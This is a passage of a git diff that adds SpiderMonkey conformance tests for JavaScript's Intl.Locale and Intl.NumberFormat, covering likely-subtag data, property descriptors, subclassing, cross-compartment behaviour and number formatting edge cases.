+ "zin-Latn-TZ": "zin",
+ "ziw-Latn-TZ": "ziw",
+ "ziz-Latn-NG": "ziz",
+ "zka-Latn-ID": "zka",
+ "zkb-Cyrl-RU": "zkb",
+ "zkd-Latn-MM": "zkd",
+ "zko-Cyrl-RU": "zko",
+ "zkp-Latn-BR": "zkp",
+ "zkt-Kits-CN": "zkt",
+ "zku-Latn-AU": "zku",
+ "zkz-Cyrl-RU": "zkz",
+ "zla-Latn-CD": "zla",
+ "zlj-Hani-CN": "zlj",
+ "zlj-Latn-CN": "zlj-Latn",
+ "zlm-Latn-TG": "zlm",
+ "zln-Hani-CN": "zln",
+ "zlq-Hani-CN": "zlq",
+ "zma-Latn-AU": "zma",
+ "zmb-Latn-CD": "zmb",
+ "zmc-Latn-AU": "zmc",
+ "zmd-Latn-AU": "zmd",
+ "zme-Latn-AU": "zme",
+ "zmf-Latn-CD": "zmf",
+ "zmg-Latn-AU": "zmg",
+ "zmh-Latn-PG": "zmh",
+ "zmi-Latn-MY": "zmi",
+ "zmj-Latn-AU": "zmj",
+ "zmk-Latn-AU": "zmk",
+ "zml-Latn-AU": "zml",
+ "zmm-Latn-AU": "zmm",
+ "zmn-Latn-GA": "zmn",
+ "zmo-Latn-SD": "zmo",
+ "zmp-Latn-CD": "zmp",
+ "zmq-Latn-CD": "zmq",
+ "zmr-Latn-AU": "zmr",
+ "zms-Latn-CD": "zms",
+ "zmt-Latn-AU": "zmt",
+ "zmu-Latn-AU": "zmu",
+ "zmv-Latn-AU": "zmv",
+ "zmw-Latn-CD": "zmw",
+ "zmx-Latn-CG": "zmx",
+ "zmy-Latn-AU": "zmy",
+ "zmz-Latn-CD": "zmz",
+ "zna-Latn-TD": "zna",
+ "zne-Latn-ZZ": "zne",
+ "zng-Latn-VN": "zng",
+ "znk-Latn-AU": "znk",
+ "zns-Latn-NG": "zns",
+ "zoc-Latn-MX": "zoc",
+ "zoh-Latn-MX": "zoh",
+ "zom-Latn-IN": "zom",
+ "zoo-Latn-MX": "zoo",
+ "zoq-Latn-MX": "zoq",
+ "zor-Latn-MX": "zor",
+ "zos-Latn-MX": "zos",
+ "zpa-Latn-MX": "zpa",
+ "zpb-Latn-MX": "zpb",
+ "zpc-Latn-MX": "zpc",
+ "zpd-Latn-MX": "zpd",
+ "zpe-Latn-MX": "zpe",
+ "zpf-Latn-MX": "zpf",
+ "zpg-Latn-MX": "zpg",
+ "zph-Latn-MX": "zph",
+ "zpi-Latn-MX": "zpi",
+ "zpj-Latn-MX": "zpj",
+ "zpk-Latn-MX": "zpk",
+ "zpl-Latn-MX": "zpl",
+ "zpm-Latn-MX": "zpm",
+ "zpn-Latn-MX": "zpn",
+ "zpo-Latn-MX": "zpo",
+ "zpp-Latn-MX": "zpp",
+ "zpq-Latn-MX": "zpq",
+ "zpr-Latn-MX": "zpr",
+ "zps-Latn-MX": "zps",
+ "zpt-Latn-MX": "zpt",
+ "zpu-Latn-MX": "zpu",
+ "zpv-Latn-MX": "zpv",
+ "zpw-Latn-MX": "zpw",
+ "zpx-Latn-MX": "zpx",
+ "zpy-Latn-MX": "zpy",
+ "zpz-Latn-MX": "zpz",
+ "zqe-Hani-CN": "zqe",
+ "zqe-Latn-CN": "zqe-Latn",
+ "zrn-Latn-TD": "zrn",
+ "zro-Latn-EC": "zro",
+ "zrp-Hebr-FR": "zrp",
+ "zrs-Latn-ID": "zrs",
+ "zsa-Latn-PG": "zsa",
+ "zsr-Latn-MX": "zsr",
+ "zsu-Latn-PG": "zsu",
+ "zte-Latn-MX": "zte",
+ "ztg-Latn-MX": "ztg",
+ "ztl-Latn-MX": "ztl",
+ "ztm-Latn-MX": "ztm",
+ "ztn-Latn-MX": "ztn",
+ "ztp-Latn-MX": "ztp",
+ "ztq-Latn-MX": "ztq",
+ "zts-Latn-MX": "zts",
+ "ztt-Latn-MX": "ztt",
+ "ztu-Latn-MX": "ztu",
+ "ztx-Latn-MX": "ztx",
+ "zty-Latn-MX": "zty",
+ "zu-Latn-ZA": "zu",
+ "zua-Latn-NG": "zua",
+ "zuh-Latn-PG": "zuh",
+ "zum-Arab-OM": "zum",
+ "zun-Latn-US": "zun",
+ "zuy-Latn-CM": "zuy",
+ "zyg-Hani-CN": "zyg",
+ "zyj-Hani-CN": "zyj-Hani",
+ "zyj-Latn-CN": "zyj",
+ "zyn-Hani-CN": "zyn",
+ "zyp-Latn-MM": "zyp",
+ "zza-Latn-TR": "zza",
+ "zzj-Hani-CN": "zzj",
+};
+
+for (let [tag, maximal] of Object.entries(maxLikelySubtags)) {
+ assertEq(new Intl.Locale(tag).maximize().toString(), maximal);
+}
+
+for (let [tag, minimal] of Object.entries(minLikelySubtags)) {
+ assertEq(new Intl.Locale(tag).minimize().toString(), minimal);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Locale/likely-subtags.js b/js/src/tests/non262/Intl/Locale/likely-subtags.js
new file mode 100644
index 0000000000..3b3e4bd905
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/likely-subtags.js
@@ -0,0 +1,61 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+var testDataMaximal = {
+ // Keeps "und" primary language.
+ "und-AQ": "und-Latn-AQ",
+
+ // Modifies primary language.
+ "und-Cyrl-RO": "bg-Cyrl-RO",
+}
+
+var testDataMinimal = {
+ // Undefined primary language.
+ "und": "en",
+ "und-Thai": "th",
+ "und-419": "es-419",
+ "und-150": "ru",
+ "und-AT": "de-AT",
+
+ // https://ssl.icu-project.org/trac/ticket/13786
+ "aae-Latn-IT": "aae",
+ "aae-Thai-CO": "aae-Thai-CO",
+
+ // https://ssl.icu-project.org/trac/ticket/10220
+ // https://ssl.icu-project.org/trac/ticket/12345
+ "und-CW": "pap",
+ "und-US": "en",
+ "zh-Hant": "zh-TW",
+ "zh-Hani": "zh-Hani",
+};
+
+// Add variants, extensions, and privateuse subtags and ensure they don't
+// modify the result of the likely subtags algorithms.
+var extras = [
+ "fonipa",
+ "a-not-assigned",
+ "u-attr",
+ "u-co",
+ "u-co-phonebk",
+ "x-private",
+];
+
+for (var [tag, maximal] of Object.entries(testDataMaximal)) {
+ assertEq(new Intl.Locale(tag).maximize().toString(), maximal);
+ assertEq(new Intl.Locale(maximal).maximize().toString(), maximal);
+
+ for (var extra of extras) {
+ assertEq(new Intl.Locale(tag + "-" + extra).maximize().toString(), maximal + "-" + extra);
+ }
+}
+
+for (var [tag, minimal] of Object.entries(testDataMinimal)) {
+ assertEq(new Intl.Locale(tag).minimize().toString(), minimal);
+ assertEq(new Intl.Locale(minimal).minimize().toString(), minimal);
+
+ for (var extra of extras) {
+ assertEq(new Intl.Locale(tag + "-" + extra).minimize().toString(), minimal + "-" + extra);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Locale/same-compartment.js b/js/src/tests/non262/Intl/Locale/same-compartment.js
new file mode 100644
index 0000000000..fb71c85f6c
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/same-compartment.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||!this.wrapWithProto)
+
+var tag = "de-Latn-AT-u-ca-gregory-nu-latn-co-phonebk-kf-false-kn-hc-h23";
+var locale = new Intl.Locale(tag);
+var scwLocale = wrapWithProto(locale, Intl.Locale.prototype);
+
+for (var [key, {get, value = get}] of Object.entries(Object.getOwnPropertyDescriptors(Intl.Locale.prototype))) {
+ if (typeof value === "function") {
+ if (key !== "constructor") {
+ var expectedValue = value.call(locale);
+
+ if (typeof expectedValue === "string" || typeof expectedValue === "boolean") {
+ assertEq(value.call(scwLocale), expectedValue, key);
+ } else if (expectedValue instanceof Intl.Locale) {
+ assertEq(value.call(scwLocale).toString(), expectedValue.toString(), key);
+ } else {
+ throw new Error("unexpected result value");
+ }
+ } else {
+ assertEq(new value(scwLocale).toString(), new value(locale).toString(), key);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Locale/shell.js b/js/src/tests/non262/Intl/Locale/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/shell.js
diff --git a/js/src/tests/non262/Intl/Locale/surface.js b/js/src/tests/non262/Intl/Locale/surface.js
new file mode 100644
index 0000000000..ba90182436
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/surface.js
@@ -0,0 +1,98 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+function assertProperty(object, name, desc) {
+ assertEq(desc === undefined || (typeof desc === "object" && desc !== null), true,
+ "desc is a property descriptor");
+
+ var actual = Object.getOwnPropertyDescriptor(object, name);
+ if (desc === undefined) {
+ assertEq(actual, desc, `property ${String(name)} is absent`);
+ return;
+ }
+ assertEq(actual !== undefined, true, `property ${String(name)} is present`);
+
+ var fields = ["value", "writable", "enumerable", "configurable", "get", "set"];
+ for (var field of fields) {
+ if (Object.prototype.hasOwnProperty.call(desc, field)) {
+ assertEq(actual[field], desc[field], `unexpected value for ${field}`);
+ }
+ }
+}
+
+function assertBuiltinFunction(fn, length, name) {
+ assertProperty(fn, "length", {
+ value: length, writable: false, enumerable: false, configurable: true,
+ });
+}
+
+function assertBuiltinMethod(object, propName, length, name) {
+ var desc = Object.getOwnPropertyDescriptor(object, propName);
+ assertProperty(object, propName, {
+ value: desc.value, writable: true, enumerable: false, configurable: true
+ });
+ assertBuiltinFunction(desc.value, length, name);
+}
+
+function assertBuiltinGetter(object, propName, length, name) {
+ var desc = Object.getOwnPropertyDescriptor(object, propName);
+
+ assertBuiltinFunction(desc.get, length, name);
+}
+
+// Intl.Locale( tag[, options] )
+assertBuiltinFunction(Intl.Locale, 1, "Locale");
+
+// Properties of the Intl.Locale Constructor
+
+// Intl.Locale.prototype
+assertProperty(Intl.Locale, "prototype", {
+ value: Intl.Locale.prototype, writable: false, enumerable: false, configurable: false,
+});
+
+// Properties of the Intl.Locale Prototype Object
+
+// Intl.Locale.prototype.constructor
+assertProperty(Intl.Locale.prototype, "constructor", {
+ value: Intl.Locale, writable: true, enumerable: false, configurable: true,
+});
+
+// Intl.Locale.prototype[ @@toStringTag ]
+assertProperty(Intl.Locale.prototype, Symbol.toStringTag, {
+ value: "Intl.Locale", writable: false, enumerable: false, configurable: true,
+});
+
+// Intl.Locale.prototype.toString ()
+assertBuiltinMethod(Intl.Locale.prototype, "toString", 0, "toString");
+
+// get Intl.Locale.prototype.baseName
+assertBuiltinGetter(Intl.Locale.prototype, "baseName", 0, "get baseName");
+
+// get Intl.Locale.prototype.calendar
+assertBuiltinGetter(Intl.Locale.prototype, "calendar", 0, "get calendar");
+
+// get Intl.Locale.prototype.collation
+assertBuiltinGetter(Intl.Locale.prototype, "collation", 0, "get collation");
+
+// get Intl.Locale.prototype.hourCycle
+assertBuiltinGetter(Intl.Locale.prototype, "hourCycle", 0, "get hourCycle");
+
+// get Intl.Locale.prototype.caseFirst
+assertBuiltinGetter(Intl.Locale.prototype, "caseFirst", 0, "get caseFirst");
+
+// get Intl.Locale.prototype.numeric
+assertBuiltinGetter(Intl.Locale.prototype, "numeric", 0, "get numeric");
+
+// get Intl.Locale.prototype.numberingSystem
+assertBuiltinGetter(Intl.Locale.prototype, "numberingSystem", 0, "get numberingSystem");
+
+// get Intl.Locale.prototype.language
+assertBuiltinGetter(Intl.Locale.prototype, "language", 0, "get language");
+
+// get Intl.Locale.prototype.script
+assertBuiltinGetter(Intl.Locale.prototype, "script", 0, "get script");
+
+// get Intl.Locale.prototype.region
+assertBuiltinGetter(Intl.Locale.prototype, "region", 0, "get region");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/NumberFormat/StringBuffer.js b/js/src/tests/non262/Intl/NumberFormat/StringBuffer.js
new file mode 100644
index 0000000000..70aaa7bd75
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/StringBuffer.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// The implementation of the format function uses the C++ StringBuffer class,
+// which changes its storage model at 32 characters, and uses it in a way which
+// also means that there's no room for null-termination at this limit.
+// This test makes sure that none of this affects the output.
+
+var format = new Intl.NumberFormat("it-IT", {minimumFractionDigits: 1});
+
+assertEq(format.format(1123123123123123123123.1), "1.123.123.123.123.123.100.000,0");
+assertEq(format.format(12123123123123123123123.1), "12.123.123.123.123.122.000.000,0");
+assertEq(format.format(123123123123123123123123.1), "123.123.123.123.123.120.000.000,0");
+
+// Ensure the ICU output matches Number.prototype.toFixed.
+function formatToFixed(x) {
+ var mfd = format.resolvedOptions().maximumFractionDigits;
+ var s = x.toFixed(mfd);
+
+ // To keep it simple we assume |s| is always in exponential form.
+ var m = s.match(/^(\d)\.(\d+)e\+(\d+)$/);
+ assertEq(m !== null, true);
+ s = m[1] + m[2].padEnd(m[3], "0");
+
+ // Group digits and append fractional part.
+ m = s.match(/\d{1,3}(?=(?:\d{3})*$)/g);
+ assertEq(m !== null, true);
+ return m.join(".") + ",0";
+}
+
+assertEq(formatToFixed(1123123123123123123123.1), "1.123.123.123.123.123.100.000,0");
+assertEq(formatToFixed(12123123123123123123123.1), "12.123.123.123.123.122.000.000,0");
+assertEq(formatToFixed(123123123123123123123123.1), "123.123.123.123.123.120.000.000,0");
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/NumberFormat/bigint-int64.js b/js/src/tests/non262/Intl/NumberFormat/bigint-int64.js
new file mode 100644
index 0000000000..7b670d0873
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/bigint-int64.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Ensure the int64_t optimization when formatting a BigInt value works correctly by testing with
+// various integers around the (u)int[32,64] limits.
+
+const limits = {
+ int32: {
+ min: -0x80000000n,
+ max: 0x7FFFFFFFn,
+ },
+ uint32: {
+ min: 0n,
+ max: 0xFFFFFFFFn
+ },
+ int64: {
+ min: -0x8000000000000000n,
+ max: 0x7FFFFFFFFFFFFFFFn,
+ },
+ uint64: {
+ min: 0n,
+ max: 0xFFFFFFFFFFFFFFFFn
+ },
+};
+
+const nf = new Intl.NumberFormat("en", {useGrouping: false});
+
+const diff = 10n;
+
+for (const int of Object.values(limits)) {
+ for (let i = -diff; i <= diff; ++i) {
+ let n = int.min + i;
+ assertEq(nf.format(n), n.toString());
+
+ let m = int.max + i;
+ assertEq(nf.format(m), m.toString());
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/browser.js b/js/src/tests/non262/Intl/NumberFormat/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/browser.js
diff --git a/js/src/tests/non262/Intl/NumberFormat/call.js b/js/src/tests/non262/Intl/NumberFormat/call.js
new file mode 100644
index 0000000000..14ecf99eb5
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/call.js
@@ -0,0 +1,184 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+function IsIntlService(c) {
+ return typeof c === "function" &&
+ c.hasOwnProperty("prototype") &&
+ c.prototype.hasOwnProperty("resolvedOptions");
+}
+
+function IsObject(o) {
+ return Object(o) === o;
+}
+
+function IsPrimitive(o) {
+ return Object(o) !== o;
+}
+
+function thisValues() {
+ const intlConstructors = Object.getOwnPropertyNames(Intl).map(name => Intl[name]).filter(IsIntlService);
+
+ return [
+ // Primitive values.
+ ...[undefined, null, true, "abc", Symbol(), 123],
+
+ // Object values.
+ ...[{}, [], /(?:)/, function(){}, new Proxy({}, {})],
+
+ // Intl objects.
+ ...[].concat(...intlConstructors.map(ctor => {
+ let args = [];
+ if (ctor === Intl.DisplayNames) {
+ // Intl.DisplayNames can't be constructed without any arguments.
+ args = [undefined, {type: "language"}];
+ }
+
+ return [
+ // Instance of an Intl constructor.
+ new ctor(...args),
+
+ // Instance of a subclassed Intl constructor.
+ new class extends ctor {}(...args),
+
+ // Object inheriting from an Intl constructor prototype.
+ Object.create(ctor.prototype),
+
+ // Intl object not inheriting from its default prototype.
+ Object.setPrototypeOf(new ctor(...args), Object.prototype),
+ ];
+ })),
+ ];
+}
+
+const intlFallbackSymbol = Object.getOwnPropertySymbols(Intl.NumberFormat.call(Object.create(Intl.NumberFormat.prototype)))[0];
+
+// Invoking [[Call]] for Intl.NumberFormat returns a new instance unless called
+// with an instance inheriting from Intl.NumberFormat.prototype.
+for (let thisValue of thisValues()) {
+ let obj = Intl.NumberFormat.call(thisValue);
+
+ if (!Intl.NumberFormat.prototype.isPrototypeOf(thisValue)) {
+ assertEq(Object.is(obj, thisValue), false);
+ assertEq(obj instanceof Intl.NumberFormat, true);
+ if (IsObject(thisValue))
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+ } else {
+ assertEq(Object.is(obj, thisValue), true);
+ assertEq(obj instanceof Intl.NumberFormat, true);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+ }
+}
+
+// Intl.NumberFormat uses the legacy Intl constructor compromise semantics.
+// - Test when InstanceofOperator(thisValue, %NumberFormat%) returns true.
+for (let thisValue of thisValues().filter(IsObject)) {
+ let isPrototypeOf = Intl.NumberFormat.prototype.isPrototypeOf(thisValue);
+ let hasInstanceCalled = false;
+ Object.defineProperty(Intl.NumberFormat, Symbol.hasInstance, {
+ value() {
+ assertEq(hasInstanceCalled, false);
+ hasInstanceCalled = true;
+ return true;
+ }, configurable: true
+ });
+ let obj = Intl.NumberFormat.call(thisValue);
+ delete Intl.NumberFormat[Symbol.hasInstance];
+
+ assertEq(Object.is(obj, thisValue), isPrototypeOf);
+ assertEq(hasInstanceCalled, false);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), isPrototypeOf ? [intlFallbackSymbol] : []);
+}
+// - Test when InstanceofOperator(thisValue, %NumberFormat%) returns false.
+for (let thisValue of thisValues().filter(IsObject)) {
+ let isPrototypeOf = Intl.NumberFormat.prototype.isPrototypeOf(thisValue);
+ let hasInstanceCalled = false;
+ Object.defineProperty(Intl.NumberFormat, Symbol.hasInstance, {
+ value() {
+ assertEq(hasInstanceCalled, false);
+ hasInstanceCalled = true;
+ return false;
+ }, configurable: true
+ });
+ let obj = Intl.NumberFormat.call(thisValue);
+ delete Intl.NumberFormat[Symbol.hasInstance];
+
+ assertEq(Object.is(obj, thisValue), isPrototypeOf);
+ assertEq(obj instanceof Intl.NumberFormat, true);
+ assertEq(hasInstanceCalled, false);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), isPrototypeOf ? [intlFallbackSymbol] : []);
+}
+// - Test with primitive values.
+for (let thisValue of thisValues().filter(IsPrimitive)) {
+ // Ensure @@hasInstance is not called.
+ Object.defineProperty(Intl.NumberFormat, Symbol.hasInstance, {
+ value() { assertEq(true, false); }, configurable: true
+ });
+ let obj = Intl.NumberFormat.call(thisValue);
+ delete Intl.NumberFormat[Symbol.hasInstance];
+
+ assertEq(Object.is(obj, thisValue), false);
+ assertEq(obj instanceof Intl.NumberFormat, true);
+}
+
+// Throws an error when attempting to install [[FallbackSymbol]] twice.
+{
+ let thisValue = Object.create(Intl.NumberFormat.prototype);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+
+ assertEq(Intl.NumberFormat.call(thisValue), thisValue);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+
+ assertThrowsInstanceOf(() => Intl.NumberFormat.call(thisValue), TypeError);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+}
+
+// Throws an error when the thisValue is non-extensible.
+{
+ let thisValue = Object.create(Intl.NumberFormat.prototype);
+ Object.preventExtensions(thisValue);
+
+ assertThrowsInstanceOf(() => Intl.NumberFormat.call(thisValue), TypeError);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+}
+
+// [[FallbackSymbol]] is installed as a frozen property holding an Intl.NumberFormat instance.
+{
+ let thisValue = Object.create(Intl.NumberFormat.prototype);
+ Intl.NumberFormat.call(thisValue);
+
+ let desc = Object.getOwnPropertyDescriptor(thisValue, intlFallbackSymbol);
+ assertEq(desc !== undefined, true);
+ assertEq(desc.writable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, false);
+ assertEq(desc.value instanceof Intl.NumberFormat, true);
+}
+
+// Ensure [[FallbackSymbol]] is installed last by changing the [[Prototype]]
+// during initialization.
+{
+ let thisValue = {};
+ let options = {
+ get useGrouping() {
+ Object.setPrototypeOf(thisValue, Intl.NumberFormat.prototype);
+ return false;
+ }
+ };
+ let obj = Intl.NumberFormat.call(thisValue, undefined, options);
+ assertEq(Object.is(obj, thisValue), true);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), [intlFallbackSymbol]);
+}
+{
+ let thisValue = Object.create(Intl.NumberFormat.prototype);
+ let options = {
+ get useGrouping() {
+ Object.setPrototypeOf(thisValue, Object.prototype);
+ return false;
+ }
+ };
+ let obj = Intl.NumberFormat.call(thisValue, undefined, options);
+ assertEq(Object.is(obj, thisValue), false);
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/construct-newtarget.js b/js/src/tests/non262/Intl/NumberFormat/construct-newtarget.js
new file mode 100644
index 0000000000..0053b2737e
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/construct-newtarget.js
@@ -0,0 +1,81 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Test subclassing %Intl.NumberFormat% works correctly.
+class MyNumberFormat extends Intl.NumberFormat {}
+
+var obj = new MyNumberFormat();
+assertEq(obj instanceof MyNumberFormat, true);
+assertEq(obj instanceof Intl.NumberFormat, true);
+assertEq(Object.getPrototypeOf(obj), MyNumberFormat.prototype);
+
+obj = Reflect.construct(MyNumberFormat, []);
+assertEq(obj instanceof MyNumberFormat, true);
+assertEq(obj instanceof Intl.NumberFormat, true);
+assertEq(Object.getPrototypeOf(obj), MyNumberFormat.prototype);
+
+obj = Reflect.construct(MyNumberFormat, [], MyNumberFormat);
+assertEq(obj instanceof MyNumberFormat, true);
+assertEq(obj instanceof Intl.NumberFormat, true);
+assertEq(Object.getPrototypeOf(obj), MyNumberFormat.prototype);
+
+obj = Reflect.construct(MyNumberFormat, [], Intl.NumberFormat);
+assertEq(obj instanceof MyNumberFormat, false);
+assertEq(obj instanceof Intl.NumberFormat, true);
+assertEq(Object.getPrototypeOf(obj), Intl.NumberFormat.prototype);
+
+
+// Set a different constructor as NewTarget.
+obj = Reflect.construct(MyNumberFormat, [], Array);
+assertEq(obj instanceof MyNumberFormat, false);
+assertEq(obj instanceof Intl.NumberFormat, false);
+assertEq(obj instanceof Array, true);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+obj = Reflect.construct(Intl.NumberFormat, [], Array);
+assertEq(obj instanceof Intl.NumberFormat, false);
+assertEq(obj instanceof Array, true);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+
+// The prototype defaults to %NumberFormatPrototype% if null.
+function NewTargetNullPrototype() {}
+NewTargetNullPrototype.prototype = null;
+
+obj = Reflect.construct(Intl.NumberFormat, [], NewTargetNullPrototype);
+assertEq(obj instanceof Intl.NumberFormat, true);
+assertEq(Object.getPrototypeOf(obj), Intl.NumberFormat.prototype);
+
+obj = Reflect.construct(MyNumberFormat, [], NewTargetNullPrototype);
+assertEq(obj instanceof MyNumberFormat, false);
+assertEq(obj instanceof Intl.NumberFormat, true);
+assertEq(Object.getPrototypeOf(obj), Intl.NumberFormat.prototype);
+
+
+// "prototype" property is retrieved exactly once.
+var trapLog = [], getLog = [];
+var ProxiedConstructor = new Proxy(Intl.NumberFormat, new Proxy({
+ get(target, propertyKey, receiver) {
+ getLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}, {
+ get(target, propertyKey, receiver) {
+ trapLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}));
+
+obj = Reflect.construct(Intl.NumberFormat, [], ProxiedConstructor);
+assertEqArray(trapLog, ["get"]);
+assertEqArray(getLog, ["prototype"]);
+assertEq(obj instanceof Intl.NumberFormat, true);
+assertEq(Object.getPrototypeOf(obj), Intl.NumberFormat.prototype);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/NumberFormat/cross-compartment.js b/js/src/tests/non262/Intl/NumberFormat/cross-compartment.js
new file mode 100644
index 0000000000..806f889d6f
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/cross-compartment.js
@@ -0,0 +1,70 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+var otherGlobal = newGlobal();
+
+var numberFormat = new Intl.NumberFormat();
+var ccwNumberFormat = new otherGlobal.Intl.NumberFormat();
+
+// Test Intl.NumberFormat.prototype.format with a CCW object.
+var Intl_NumberFormat_format_get = Object.getOwnPropertyDescriptor(Intl.NumberFormat.prototype, "format").get;
+
+assertEq(Intl_NumberFormat_format_get.call(ccwNumberFormat)(0),
+ Intl_NumberFormat_format_get.call(numberFormat)(0));
+
+// Test Intl.NumberFormat.prototype.formatToParts with a CCW object.
+var Intl_NumberFormat_formatToParts = Intl.NumberFormat.prototype.formatToParts;
+
+assertEq(deepEqual(Intl_NumberFormat_formatToParts.call(ccwNumberFormat, 0),
+ Intl_NumberFormat_formatToParts.call(numberFormat, 0)),
+ true);
+
+// Test Intl.NumberFormat.prototype.resolvedOptions with a CCW object.
+var Intl_NumberFormat_resolvedOptions = Intl.NumberFormat.prototype.resolvedOptions;
+
+assertEq(deepEqual(Intl_NumberFormat_resolvedOptions.call(ccwNumberFormat),
+ Intl_NumberFormat_resolvedOptions.call(numberFormat)),
+ true);
+
+// Special case for Intl.NumberFormat: The Intl fallback symbol.
+
+function fallbackSymbol(global) {
+ var NF = global.Intl.NumberFormat;
+ return Object.getOwnPropertySymbols(NF.call(Object.create(NF.prototype)))[0];
+}
+
+const intlFallbackSymbol = fallbackSymbol(this);
+const otherIntlFallbackSymbol = fallbackSymbol(otherGlobal);
+assertEq(intlFallbackSymbol === otherIntlFallbackSymbol, false);
+
+// Test when the fallback symbol points to a CCW NumberFormat object.
+var objWithFallbackCCWNumberFormat = {
+ __proto__: Intl.NumberFormat.prototype,
+ [intlFallbackSymbol]: ccwNumberFormat,
+};
+
+assertEq(Intl_NumberFormat_format_get.call(objWithFallbackCCWNumberFormat)(0),
+ Intl_NumberFormat_format_get.call(numberFormat)(0));
+
+assertEq(deepEqual(Intl_NumberFormat_resolvedOptions.call(objWithFallbackCCWNumberFormat),
+ Intl_NumberFormat_resolvedOptions.call(numberFormat)),
+ true);
+
+// Ensure the fallback symbol(s) are not accessed for CCW NumberFormat objects.
+var ccwNumberFormatWithPoisonedFallback = new otherGlobal.Intl.NumberFormat();
+Object.setPrototypeOf(ccwNumberFormatWithPoisonedFallback, Intl.NumberFormat.prototype);
+Object.defineProperty(ccwNumberFormatWithPoisonedFallback, intlFallbackSymbol, {
+ get() { throw new Error(); }
+});
+Object.defineProperty(ccwNumberFormatWithPoisonedFallback, otherIntlFallbackSymbol, {
+ get() { throw new Error(); }
+});
+
+assertEq(Intl_NumberFormat_format_get.call(ccwNumberFormatWithPoisonedFallback)(0),
+ Intl_NumberFormat_format_get.call(numberFormat)(0));
+
+assertEq(deepEqual(Intl_NumberFormat_resolvedOptions.call(ccwNumberFormatWithPoisonedFallback),
+ Intl_NumberFormat_resolvedOptions.call(numberFormat)),
+ true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/currency-narrow-symbol.js b/js/src/tests/non262/Intl/NumberFormat/currency-narrow-symbol.js
new file mode 100644
index 0000000000..bf2b9adcd8
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/currency-narrow-symbol.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Integer, Decimal, Fraction, Currency, Literal,
+} = NumberFormatParts;
+
+const testcases = [
+ {
+ locale: "en-CA",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "narrowSymbol",
+ },
+ values: [
+ {value: 123, string: "US$123.00",
+ parts: [Currency("US$"), Integer("123"), Decimal("."), Fraction("00")]},
+ ],
+ },
+
+ // And for comparison "symbol" currency-display.
+
+ {
+ locale: "en-CA",
+ options: {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "symbol",
+ },
+ values: [
+ {value: 123, string: "US$123.00",
+ parts: [Currency("US$"), Integer("123"), Decimal("."), Fraction("00")]},
+ ],
+ },
+];
+
+runNumberFormattingTestcases(testcases);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/currency-sign-accounting.js b/js/src/tests/non262/Intl/NumberFormat/currency-sign-accounting.js
new file mode 100644
index 0000000000..6f91d6edd4
--- /dev/null
